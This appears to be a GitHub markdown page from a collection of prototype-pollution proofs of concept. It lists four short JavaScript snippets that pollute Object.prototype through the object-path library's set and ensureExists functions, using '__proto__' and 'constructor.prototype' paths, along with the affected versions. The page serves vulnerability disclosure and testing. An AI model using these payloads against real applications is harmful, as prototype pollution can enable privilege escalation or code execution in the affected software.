Skip to content

Latest commit

 

History

History
43 lines (28 loc) · 1.37 KB

File metadata and controls

43 lines (28 loc) · 1.37 KB

object-path

Access deep object properties using a path

Latest version: 0.11.5

Exploits

const objectPath = require('object-path');

objectPath.ensureExists({}, '__proto__.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.1.2 0.1.3 0.2.0 0.2.1 0.3.0 0.4.0 0.5.0 0.5.1 0.6.0 0.7.0 0.8.0 0.8.1 0.9.0 0.9.1 0.9.2 0.10.0

const objectPath = require('object-path');

objectPath.ensureExists({}, 'constructor.prototype.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.1.2 0.1.3 0.2.0 0.2.1 0.3.0 0.4.0 0.5.0 0.5.1 0.6.0 0.7.0 0.8.0 0.8.1 0.9.0 0.9.1 0.9.2 0.10.0

const objectPath = require('object-path');

objectPath.set({}, '__proto__.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.0.1 0.1.0 0.1.2 0.1.3 0.2.0 0.2.1 0.3.0 0.4.0 0.5.0 0.5.1 0.6.0 0.7.0 0.8.0 0.8.1 0.9.0 0.9.1 0.9.2 0.10.0

const objectPath = require('object-path');

objectPath.set({}, 'constructor.prototype.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.0.1 0.1.0 0.1.2 0.1.3 0.2.0 0.2.1 0.3.0 0.4.0 0.5.0 0.5.1 0.6.0 0.7.0 0.8.0 0.8.1 0.9.0 0.9.1 0.9.2 0.10.0